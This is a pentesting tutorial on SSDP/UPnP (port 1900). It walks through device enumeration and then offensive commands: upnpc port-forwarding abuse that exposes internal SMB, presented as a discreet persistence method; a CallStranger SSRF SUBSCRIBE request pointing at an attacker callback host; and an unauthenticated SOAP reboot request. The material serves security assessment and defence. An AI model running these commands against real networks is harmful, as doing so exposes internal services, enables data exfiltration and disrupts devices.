SSDP/UPnP Port 1900: Pentesting, Port Mapping, and SSRF

Executive Summary — Port 1900/UDP is the channel for SSDP (Simple Service Discovery Protocol), the discovery component of UPnP (Universal Plug and Play). SSDP allows devices to automatically announce themselves on the network—routers, smart TVs, media servers, NAS, IoT devices, and printers. The problem: UPnP is designed for trusted networks and does not require authentication. An attacker on the network can enumerate all UPnP devices, modify the router's NAT rules (open ports from the outside), and exploit the devices' SOAP APIs for SSRF and RCE. On the Internet, exposed SSDP is a DDoS amplification vector (30x).

What is port 1900 (SSDP / UPnP)?

SSDP on 1900/UDP reveals every UPnP device on the network — without authentication
UPnP on the router allows you to open NAT (port forwarding) ports from any internal host — malware can expose internal services to the Internet
CallStranger (CVE-2020-12695) allows SSRF, data exfiltration, and amplification via the UPnP SUBSCRIBE feature.

Port 1900 SSDP is the UDP channel of the UPnP discovery protocol. Port 1900's main vulnerabilities are bulk enumeration of unauthenticated devices, NAT port mapping abuse (unauthorized port opening), SSRF via SOAP action, and DDoS amplification. Port 1900 enumeration reveals the type, model, firmware, and control URL of each UPnP device. In the pentest, UPnP is an enabler: it allows opening NAT ports for external access, discovering hidden devices, and attacking device SOAP APIs for RCE. In the kill chain, it ranks as recon (device discovery), persistence (permanent port forwarding), and lateral movement (SSRF to internal services).

1. Technical Anatomy of the Door 1900 #

SSDP is the discovery protocol — the first component of UPnP:

UPnP Component	Port/Protocol	Role
SSDP Discovery	1900/UDP	Device listing and search
Device Description	HTTP (high port)	XML with device description
Control (SOAP)	HTTP (high port)	Device commands via SOAP
eventing	HTTP (high port)	Status notifications

The SSDP flow:

Client sends M-SEARCH multicast a 239.255.255.250:1900
Each UPnP device responds with its own Location URL (HTTP)
The client downloads the description XML from the Location URL
The XML lists the available services and control SOAP endpoints
The client calls SOAP actions to control the device

text

Misconfig: UPnP abilitato sul router con IGD (Internet Gateway Device)
Impatto: qualsiasi host interno può aprire port forwarding — espone servizi interni su Internet
Come si verifica: upnpc -l — se lista le regole NAT, IGD è attivo

text

Misconfig: SSDP raggiungibile da Internet (WAN)
Impatto: amplification DDoS (fattore ~30x) e information disclosure
Come si verifica: nmap -sU -p 1900 [IP_pubblico] — se open, è esposto

text

Misconfig: Dispositivo UPnP con SOAP action senza autenticazione
Impatto: esecuzione comandi sul dispositivo (firmware update, config change, reboot)
Come si verifica: curl [SOAP_endpoint] con action specifica

2. Basic Enumeration #

Command 1: M-SEARCH discovery #

bash

# Invia M-SEARCH e cattura risposte
echo -e "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nST: ssdp:all\r\nMX: 3\r\n\r\n" | socat - UDP4-DATAGRAM:239.255.255.250:1900,so-broadcast

Output:

text

HTTP/1.1 200 OK
LOCATION: http://192.168.1.1:49152/rootDesc.xml
SERVER: Linux/4.4, UPnP/1.0, MediaServer/1.0
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:12345678-1234-1234-1234-123456789abc

HTTP/1.1 200 OK
LOCATION: http://192.168.1.50:8200/rootDesc.xml
SERVER: Synology NAS/DSM 7.2
ST: urn:schemas-upnp-org:device:MediaServer:1

Reading output: Two UPnP devices: a router with IGD (Internet Gateway Device—target for port mapping) and a Synology NAS (media server—target for file access). The Location URL is the endpoint for downloading the full description.

Command 2: Nmap #

bash

nmap -sU -p 1900 --script upnp-info 192.168.1.0/24

Output:

text

192.168.1.1:
| upnp-info:
|   InternetGatewayDevice
|   Manufacturer: Netgear
|   Model: R7000
|_  Firmware: V1.0.11.126

192.168.1.50:
| upnp-info:
|   MediaServer
|   Manufacturer: Synology
|_  Model: DS920+

3. Advanced Enumeration #

Download XML device description #

bash

curl -s http://192.168.1.1:49152/rootDesc.xml

Output (partial):

xml

<device>
  <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
  <friendlyName>Netgear R7000</friendlyName>
  <manufacturer>NETGEAR</manufacturer>
  <modelNumber>R7000</modelNumber>
  <serviceList>
    <service>
      <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
      <controlURL>/ctl/IPConn</controlURL>
    </service>
  </serviceList>
</device>

Reading the output: the router exposes the service WANIPConnection with control endpoints /ctl/IPConnThis is the service that handles NAT port mapping — the target for unauthorized port opening.

List of existing port mappings #

bash

# Con miniupnpc
upnpc -l

Output:

text

 i protocol exPort->inAddr:inPort description remoteHost leaseTime
 0 TCP  8080->192.168.1.100:80    WebServer     0.0.0.0    0
 1 TCP  3389->192.168.1.200:3389  RDP           0.0.0.0    0

Reading the output: Two port forwardings are active: external port 8080 points to an internal web server, external port 3389 points to internal RDP. This is already a finding—RDP exposed to the Internet via UPnP.

4. Offensive Techniques #

NAT port mapping abuse — expose internal services

Context: UPnP IGD is enabled on your router. You are on the internal network.

bash

# Apri porta 4444 esterna → 192.168.1.100:445 interna (SMB)
upnpc -a 192.168.1.100 445 4444 TCP

# Apri porta per reverse shell
upnpc -a 192.168.1.200 22 2222 TCP

Output:

text

external 203.0.113.50:4444 TCP is redirected to internal 192.168.1.100:445

What you do next: Internal SMB is now reachable from the Internet on port 4444. This is the mechanism used by malware to expose internal services—and a pentest demonstrates that UPnP allows any internal host to create arbitrary port forwards. For persistent post-exploitation , a UPnP port forward is more discreet than a tunnel.

SSRF via UPnP SUBSCRIBE (CallStranger — CVE-2020-12695)

Context: The UPnP device supports SUBSCRIBE with arbitrary URL callback.

bash

curl -X SUBSCRIBE http://192.168.1.1:49152/evt/IPConn \
  -H "CALLBACK: <http://10.10.10.200:8080/ssrf>" \
  -H "NT: upnp:event" \
  -H "TIMEOUT: Second-300"

What to do next: The UPnP device will make an HTTP request to your SSRF callback from the device. You can use this to reach internal services that aren't directly accessible, scan the network from the device's perspective, or exfiltrate data.

Device SOAP exploitation

bash

# Esempio: reboot router via SOAP
curl -X POST http://192.168.1.1:49152/ctl/DevInfo \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:DeviceInfo:1#Reboot\"" \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:Reboot xmlns:u="urn:schemas-upnp-org:service:DeviceInfo:1"></u:Reboot></s:Body></s:Envelope>'

DDoS amplification (documentation only)

A 100-byte M-SEARCH packet generates 3000+ byte responses—a ~30x response factor. With a spoofed IP, the amplified traffic hits the victim. Medium severity finding for devices exposed to the Internet.

5. Practical Scenarios #

Scenario 1: Internal network assessment — UPnP device discovery #

Step: 1

bash

# Discovery massivo
nmap -sU -p 1900 --script upnp-info 192.168.1.0/24

Step: 2

bash

# Per ogni device trovato: scarica description XML
for url in $(grep -o 'http://[^"]*rootDesc.xml' nmap_output.txt); do
  curl -s "$url" > "$(echo $url | md5sum | cut -c1-8).xml"
done

Step: 3

bash

# Verifica IGD e port mapping
upnpc -l

Estimated time: 10-20 minutes

Scenario 2: Verifying UPnP on the Edge Router #

Step: 1

bash

upnpc -s  # Status del router IGD
upnpc -l  # Port mapping esistenti

Step: 2

bash

# Testa creazione port mapping
upnpc -a [internal_ip] 80 9999 TCP
upnpc -d 9999 TCP  # Rimuovi subito dopo il test

Estimated time: 5-10 minutes

6. Final Cheat Sheet #

Action	Command
M-SEARCH	`socat` with M-SEARCH multicast at 239.255.255.250:1900
Nmap discovery	`nmap -sU -p 1900 --script upnp-info [subnet]`
Description XML	`curl -s http://[device]:[port]/rootDesc.xml`
Port map list	`upnpc -l`
Add port map	`upnpc -a [internal_ip] [int_port] [ext_port] TCP`
Remove port map	`upnpc -d [ext_port] TCP`
Router status	`upnpc -s`
SSRF subscribe	`curl -X SUBSCRIBE -H "CALLBACK: <http://[attacker]:8080>"`

Why Porta 1900 is relevant in 2026 #

UPnP is enabled by default on nearly all consumer and many enterprise routers. It allows any internal host (including malware) to open NAT ports, exposing internal services to the Internet. CallStranger (CVE-2020-12695) has demonstrated SSRF and data exfiltration via UPnP. Thousands of devices with SSDP exposed to the Internet are DDoS amplification vectors.